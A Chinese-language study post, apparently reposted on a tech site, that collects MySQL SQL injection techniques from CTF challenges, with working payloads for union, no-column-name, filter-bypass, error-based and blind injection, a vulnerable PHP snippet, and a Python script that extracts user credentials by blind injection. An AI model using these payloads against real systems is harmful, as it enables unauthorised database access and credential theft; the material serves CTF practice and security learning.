首页 运维知识 关于sql注入姿势总结(mysql)

关于sql注入姿势总结(mysql)

前言 学习了sql注入很长时间,但是仍然没有系统的了解过,这次总结一波,用作学习的资料。 从注入方法分:基于报错、基于布尔盲注、基于时间盲注、联合查询、堆叠注入、内联查询注入、宽字…

前言

学习了sql注入很长时间,但是仍然没有系统的了解过,这次总结一波,用作学习的资料。

从注入方法分:基于报错、基于布尔盲注、基于时间盲注、联合查询、堆叠注入、内联查询注入、宽字节注入

联合查询

即多表之间的查询

联合查询分类

  • 内连接(inner Join 或 Join)
  • 交叉连接 (cross Join)
  • 结果集链接 (union 和 union all
  • 外连接(outer Join)
    • 左外连接(left outer Join 或 left Join)
    • 右外连接(right outer Join 或 right Join)
    • 全外连接(full outer Join 或 full Join)

详情查看联合查询,在SQL注入中多用 union即结果集查询

union各种姿势

常规注入

#判断注入类型 -数字或者字符
#猜测字段数
#获取当前数据库
#获取数据库权限和数据库版本
#获取表名和字段名

sql写入新的密码

[GXYCTF2019]BabySQli
  • 登录界面,常规 sql 不管用,emmmmm…
  • 提示:

    先说说 base32 和 base64 的区别,
    base32 只有大写字母和数字数字组成,或者后面有三个等号。
    base64 只有大写字母和数字,小写字母组成,后面一般是两个等号。

  • sql 原理:select * from user where username = \'$name\'
  • 知识点:
    • 看了 web,学到了联合注入有个技巧,在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据表
      payload=name=1\' union select 0,\'admin\',\'81dc9bdb52d04dc20036dbd8313ed055\'%23&pw=1234

无列名注入

即通过无列名查询构造一个虚拟表,在构造此表的同时查询其中的数据。

创建虚拟表

关于sql注入姿势总结(mysql)插图

更改列名

关于sql注入姿势总结(mysql)插图1

查询第一列数据,如果没有后面的 n,会报错

关于sql注入姿势总结(mysql)插图2

[SWPU2019]Web1

知识点:

  • 二次注入,特别注意可控的地方
  • 无列名注入(information_schema 被过滤,且知道表名的情况)

    在无列名注入的时候 一定要和表的列数相同 不然会报错 慢慢试
    无列名注入原理

  • waf 关键字绕过方法
    • 空格被过滤
      空格过滤可以利用/**/代替空格
    • 注释符被过滤
      将后面的单引号闭合即可
    • or 被过滤
      这就很难受了,order by、information_schema 都不能用。
      于是查表名使用 select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()
  • 爆库:
    1\'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"\'
    
  • 无字段爆值(无列名注入)
    payload:

    1\'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22\'
    
[GYCTF2020]Ezsqli

考点

  • 盲注,or 过滤,可以用||或者^异或注入
  • 过滤了 information,union select 组合使用,join,常规列名注入不行
  • information 被过滤后,三种替代 information 的关键词
  • 无列名注入,新方法payload = \'0^((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))\'.format(hexchar)

详情参考https://www.gem-love.com/ctf/1782.html

ciscn21-web sql
  • 考点
    • 报错注入
    • join 无列名注入,使用 join using的方法(using相当于on)
  • \')\'闭合,报错可用,得到 security 数据库,
  • 报错要得到表名,information 被过滤,以下可用来爆表
sys.schema_table_statistics_with_buffer
sys.x$schema_table_statistics_with_buffer
sys.schema_auto_increment_columns
sys.x$ps_schema_table_statistics_io
  • 也可
mysql.innodb_table_stats (此表中库名字段是 database_name,而非 table_schema)
mysql.innodb_index_stats
  • join 无列名注入
mysql> select _ from (select _ from users a join users b)c;#users是表名,
ERROR 1060 (42S21): Duplicate column name \'id\'
mysql> select _ from (select _ from users a join users b using(id))c;
ERROR 1060 (42S21): Duplicate column name \'username\'
mysql> select _ from (select _ from users a join users b using(id,username))c;
ERROR 1060 (42S21): Duplicate column name \'password\'

本地测试可以爆列名

关于sql注入姿势总结(mysql)插图3

多参数注入

多参数情况很常见,比如登录框就有两个输入点,有username和passwd,猜测sql语句:select * from user where username=\'username\' and passwd=\'passwd\'

很明显有注入,不过题目总是千变万化,灵活变换。就看看遇到过的题目吧。。。

[NCTF2019]SQLi
  • 知识点
    • ;%00 截断(php 版本为 5.2.16)
    • 过滤了\’,不能闭合,可以使用转义\的闭合,应该也可以使用/*----*/注释符吧
  • 太狂了,给了查询语句
    关于sql注入姿势总结(mysql)插图4
  • 由于单引号被禁用,使用 \ 转义 and 前面的那个单引号,使得\' and passwd=\'形成闭合
    构造 passwd 处为||/*1*/passwd/*2*/regexp/*3*/"^a";%00
  • 用 regexp 查询 passwd ^匹配字符串开头 %00 截断后面的内容
  • payload:username=\&passwd=||/**/passwd/**/regexp/**/"^a";%00

本地测试也可

关于sql注入姿势总结(mysql)插图5

[CISCN2019 总决赛 Day2 Web1]Easyweb
  • 知识点
    • 备份文件得到源码
    • \00绕过 addslashes()函数,通过\让单引号逃逸出来,path 变量实现盲注
    • 文件上传,短标签
  • 登录界面,已经很眼熟了
    关于sql注入姿势总结(mysql)插图6
  • 读备份文件,robots.txt–>image.php.bak–>下载成功
<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\\'","\'"),"",$id);
$path=str_replace(array("\\0","%00","\\\'","\'"),"",$path);

$result=mysqli_query($con,"select * from images where id=\'{$id}\' or path=\'{$path}\'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
  • 这里要注意:array 数组中的元素是:\0``%00``\\'``\',这里的第一个\是用来转义的。。。。大意了。。
  • 重要查询语句:$result=mysqli_query($con,"select * from images where id=\'{$id}\' or path=\'{$path}\'");
    这个时候其实是没有任何过滤的,试想这是我们 id=\0,则在 addslashes 后变为 id=\0,随后将\0 其清空,那么这是 id=\,正好可以使单引号逃逸出来,变成:
    $result=mysqli_query($con,"select * from images where id=\' \\' or path=\' {$path}\'");
    可以看到现在 id 的值为\\' or path=,可以进行 path 的盲注了
#!/usr/local/bin/python3
# coding=utf-8

import requests

url = "http://1b3b2f24-e910-4ad0-8474-330a97842901.node3.buuoj.cn/image.php"
flag = ""
for i in range(0, 100):
    high = 127
    low = 32
    mid = (high + low) // 2
    while low < high:
        # payload = " or id=if(ascii(substr((database()),{},1))>mid,1,0)#".format(i,mid)

        # payload = "or id=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},1,4)#".format(i, mid)
        # payload = "or id=if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),{},1))>{},1,4)#".format(i, mid)
        payload = "or id=if(ascii(substr((select group_concat(username,password) from users),{},1))>{},1,4)#".format(
            i, mid
        )

        params = {"id": "\\0", "path": payload}
        response = requests.get(url, params=params)
        if len(response.text) > 10000:
            low = mid + 1
        else:
            high = mid
        mid = (high + low) // 2

    flag += chr(int(mid))
    print(flag)
  • 成功登录,进入上传文件区域

布尔盲注(兼时间盲注)

即根据注入信息返回true or fales,通常是两种不同的页面回显,没有任何报错信息,如果没有回显,则可以考虑使用时间注入

布尔常用函数

length(str):返回str字符串的长度。
substr(str, pos, len):将str从pos位置开始截取len长度的字符进 行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len):跟上面的一样,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代码值。
ord(str):同上,返回ascii码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
regexp: 正则表达式

报错注入

报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。

常规注入

常用函数

1.floor() 
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue() 
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
#extractvalue() 函数不支持低版本 mysql
#extractvalue() 函数最多查询32位

3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

其中floor()语句报错,是利⽤floor(),count(),group() by冲突报错,当这三个函数在特定情况⼀起使⽤产⽣的 错误。

extractvalue注⼊的原理:依旧如同updatexml⼀样,extract的第⼆个参数要求是xpath格式字符串,⽽我们输⼊的并不是。所以报错。

0x7e="~"
\'~\'可以换成\'#\'、\'$\'等不满足xpath格式的字符

整数溢出报错

两种方法,exp函数,上限是exp(709),再加一就会溢出浮点数上界报错,

关于sql注入姿势总结(mysql)插图7

关于sql注入姿势总结(mysql)插图8还有一种是学长的~0+1,对0取反直接拿到最大整数

关于sql注入姿势总结(mysql)插图9

关于sql注入姿势总结(mysql)插图10

假设查询语句 (select*from(select user())x),查询正确,取反之后就是1,可以和替换上面的

免责声明:文章内容不代表本站立场,本站不对其内容的真实性、完整性、准确性给予任何担保、暗示和承诺,仅供读者参考,文章版权归原作者所有。如本文内容影响到您的合法权益(内容、图片等),请及时联系本站,我们会及时删除处理。

作者: 小小编

为您推荐

dell R710 更换raid卡后,raid卡信息没有了,处理方案

dell R710 更换raid卡后,raid卡信息没有了,处理方案

1.将一台服务器(A)的硬盘依次拔出,按相同顺序插入另一台同样配置的服务器(B) 2.启动服务器(B) 3.按提示键盘按...
PL SQL Developer 13连接Oracle数据库并导出数据详细操作教程方法

PL SQL Developer 13连接Oracle数据库并导出数据详细操作教程方法

下载 并安装 PL SQL Developer 13,默认支持中文语言 ========================...
关于一条sql语句在mysql中是如何执行的

关于一条sql语句在mysql中是如何执行的

最近开始在学习mysql相关知识,自己根据学到的知识点,根据自己的理解整理分享出来,本篇文章会分析下一个sql语句在my...
关于Oracle SQL外连接

关于Oracle SQL外连接

SQL提供了多种类型的连接方式,它们之间的区别在于:从相互交叠的不同数据集合中选择用于连接的行时所采用的方法不同。 连接...
有关Oracle SQL99 外连接的写法区别

有关Oracle SQL99 外连接的写法区别

1: cartesian 笛卡尔积 返回的结果集合: 一般按照From后表的顺序,先从t1种抽取所有的记录和t2的第一条...

发表回复

返回顶部